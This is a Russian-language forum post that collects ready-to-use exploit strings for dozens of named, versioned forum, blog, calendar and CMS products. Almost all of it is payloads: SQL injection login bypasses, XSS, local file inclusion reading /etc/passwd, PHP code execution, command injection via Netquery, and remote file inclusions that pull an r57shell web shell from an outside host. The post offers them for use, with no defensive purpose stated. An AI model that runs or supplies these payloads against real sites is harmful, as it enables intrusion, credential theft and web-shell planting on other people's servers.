----------------------------------------------------------------

Так же обратите внимание на темы:

Обзор уязвимостей [WordPress]

[Обзор уязвимостей в форумных движках]

Уязвимости чатов и Движков

Уязвимости в cms WCPS

----------------------------------------------------------------

Эта коллекция уязвимостей собиралась для личного использования. Если кому-нибудь пригодится, значит все сделано не зря!


phpBB v.2.0.15 Выполнение php кода в viewtopic.php
viewtopic.php?t=1&highlight='.printf(md5(test)).'
PBLang 4.65 Локальный include файлов
setcookie.php?u=../../../../../../../../../../etc/passwd%00
setcookie.php??u=../../../../../../../../../../boot.ini%00
PHPTB v.2.0 Include файлов
/classes/admin_o.php?absolutepath= http://rst.void.ru/download/
r57shell.txt
MailGust v.1.9 SQL Injection
post запрос index.php
method=remind_password&list=maillistuser&fromlist= maillist&frommethod=showhtmllist&email=1%27%
20union%20select%20%2A%20from%20force_sql_error%2F %2A%40hotmail%2Ecom&submit=Ok&showAvatar
Chipmunk Forum XSS
newtopic.php?forumID='%3C/a%3E%3CIFRAME%20SRC=javascript:alert(%2527xss%2527 )
%3E%3C/IFRAME%3E
oaboard v.1.0 SQL Injection
forum.php?channel=0%20union%20select%20*%20from%20 force_mysql_table_error
Phorum 5.0.20 SQL Injection
search.php?1,search=%20,page=1,match_type=ALL,matc h_dates=30,match_forum=ALL,body=
1,author=1,subject=1,&forum_ids[]=-99)/**/generate_sql_error
Cyphor 0.19 XSS
/include/footer.php?t_login=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
W-Agora 4.2.0 XSS
/templates/admin/login_form.php?msg_login=%3Cscript%3Ealert(%22XSS% 22)%3C/script%3E
WizForum 1.20 SQL Injection
ForumTopicDetails.php?TopicID=11111111%20union%20S elect%20*%20from%20EronatedInex
istentTable
EkinBoard 1.0.3 SQL Injection
admin/index.php ?page=general&step=2
Cookie: username=%27or+isnull%281%2F0%29+AND+level%3D3%2F% 2A; password=
Snitz Forums 2000 v.3.4.05 XSS
post.asp ?method=Topic&FORUM_ID=1&CAT_ID=1&type=xss-${random}
PHP-Post 1.0 XSS
profile.php ?user='%3CIFRAME%20SRC=javascript:alert(%2527xss-${random}%2527)%3E%3
C/IFRAME%3E
WSN Forum 1.21 SQL Injection
memberlist.php ?action=profile&id=1'%20select%20*%20from%20force_ mysql_warning
sCssBoard 1.12 XSS
index.php ?act=search-results
post search_term=%3Cscript%3Ealert%28%27wvs-${random}%27%29%3C%2Fscript%3E+&sortby=relevancy
freeForum 1.1 SQL Injection
forum.php?mode=thread&thread=force_mysql_fetch_obj ect_warning
Orca Forum 4.3.b SQL Injection
forum.php ?msg=2'force_mysql_num_rows_warning
Pearl Forums 2.4 SQL Injection
index.php ?mode=forums&forumId=1%20union%20select%20*%20from %20force_error
SimpleBBS v.1.1 Выполнение php кода
index.php ?v=newtopic&c=1
POST name=<?php echo md5("test");?>&subject=mysubject&message=mymessage &sendTopic=Send
ADP Forum v.2.0.2 Информация о пользователя
/users/
ADN Forum v.1.0b SQL Injection
verpag.php?pagid=999'%20and_force_mysql_error/*
MyBuletinBoard v.1.0.2 Раскрытие префикса таблицы
search.php?s=de1aaf9b&action=do_search&keywords=a& srchtype=3
MyTopix v.1.2.3 SQL Injection и раскрытие пути срипта
/modules/logon.mod.php
Pentacle In-Out Board v.6.03.0.0080 SQL Injection
login.asp POST username=anypassword&userpassword=%27+or+%271%27%3 D%271&Submit=Log+in
Battleaxe Software Forums v.2.0 XSS
failure.asp ?err_txt=text%3C/b%3E%3Cscript%3Ealert(%22xss-${random}%22);%3C/script%3E%3Cb%3Etext


PEAR XML_RPC 1.3.0 Выполнение команд (подвержены Affected PEAR XML_RPC versions (up to 1.3.0). Affected web applications:TikiWiki. PostNuke
Drupal. b2evolution. b2. phpGroupWare. eGroupware. Serendipity Weblog. phpAdsNew. Max Media Manager. phpWiki. Blog:CMS. CivicSpace )
xmlrpc.php xmlrpc/server.php serendipity_xmlrpc.php adxmlrpc.php nucleus/xmlrpc/server.php
POST <?xmlversion="1.0"?><methodCall><methodName>test.m ethod</methodName><params><param><value><name>','')); printf(md5(acunetix_wvs_security_test)); exit;//</name></value></param></params></methodCall>
ADOdb
1) SQL Injection
/server.php?sql=SELECT '[content]' INTO OUTFILE '[file]'
2) Выполнение функции php
/tests/tmssql.php?do=phpinfo


phpLDAPadmin 0.9.6 Выполнение php кода
welcome.php ?custom_welcome_page= http://rst.void.ru/download/r57shell.txt
Netquery [host] Произвольное выполнение команд
nquser.php POST
1) querytype=dig&host=a%27%7Ccat%20%27%2Fetc%2Fpasswd &digparam=ANY&x=11&y=17
2) querytype=dig&host=%7Ccat%20%2Fetc%2Fpasswd&digpar am=ANY&x=11&y=17


phpCommunityCalendar v.4.0.3 Обход Логина
webadmin/login.php POST Username=%27+or+isnull%281%2F0%29+%2F*&Password=&R eturned=1
Calendarix v.1.6 SQL Injection
cal_login.php POST login=%27+or+isnull%281%2F0%29%2F*&password=any
Teca Diary Personal Edition v.1.0 SQL Injection
index.php?mm='%20force_sql_error&yy=2006
CALimba v.0.99.2 Sql Injection
index.php POST ute_login=%27%29+or+isnull%281%2F0%29%2F*&ute_pass word=anypassword&cmdOK=Login%21
Maian Events v.1.00 SQL Injection
menu.php?month='forceerror'


myBloggie 2.1.3 SQL Injection
login.php POST username=%27+or+isnull%281%2F0%29+%2F*&passwd=&sub mit=Log+In
Simplog 0.9.1 SQL Injection
archive.php?blogid=force_error_for_test_reason
Zomplog 3.4 XSS
get.php?username=%3Cbr%3E%3Cb%3Exss%3C/b%3E%3Cbr%3E
CuteNews 1.4.1 Shell Injection
show_archives.php ?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=%22%3C?php%20echo%20md5(%22te st%22)
;%20die;?%3E.%22%20HTTP/1.0\r\n
Cute News 1.4.1 Local File Inclusion
show_archives.php?template=../../../../../../../../../../etc/passwd%00
show_archives.php?template=../../../../../../../../../../boot.ini%00
SimpleBlog v.2.1 SQL Injection
default.asp ?view=archives&month=%22generate_error&year=2004
Bit5blog v.8.1 SQL Injection
admin/processlogin.php POST username=%27+or+isnull%281%2F0%29%2F*&password=%27 +or+isnull%281%2F0%29%2F*
WebspotBlogging v.3.0 SQL Injection
login.php POST username=%27+or+isnull%281%2F0%29%2F*&password=any password
e-moBLOG v.1.3 SQL Injection
/admin/index.php POST login=aaa%27+union+select+%27bbb%27%2C+%27161da2fa 81d32d4071ee16f7f77cb463%27%2F*&password=
any_password
miniBloggie v.1.0 SQL Injection
login.php POST user=%27+or+isnull%281%2F0%29%2F*&pwd=%27+or+isnul l%281%2F0%29%2F*&submit=Log+In
Text Rider v.2.4 Список пользователей
/data/userlist.txt
AndoNET Blog SQL Injection
index.php?ando=comentarios&entrada=1'generate%20er ror
Loudblog v.0.4 PHP Code Injection
/loudblog/inc/backend_settings.php?GLOBALS[path]= http://rst.void.ru/download/r57shell.txt
PluggedOut Blog v.1.9.9c SQL Injection
exec.php?action=comment_add&entryid=force_error
Clever Copy v.3.0 SQL Injection
mailarticle.php?ID='UNION%20SELECT%200,0,0,0,0,0,u sername,password,0,0,0,0,0,0,0,0,0
%20FROM%20CC_admin/*
Magic News Lite v.1.2.3 Code Injection
preview.php?php_script_path=http://rst.void.ru/download/r57shell.txt
WordPress v.2.0.1 Раскрытие пути
/wp-includes/default-filters.php
sBlog v.0.7.2 XSS
search.php POST keyword=%3Cscript%3Ealert%28%22wvs-xss-magic-string-${random}%22%29%3B%3C%2Fscript%3E
Maian Weblog v.2.0 SQL Injection
print.php?cmd=log&entry=1'%20or%20generate_error=2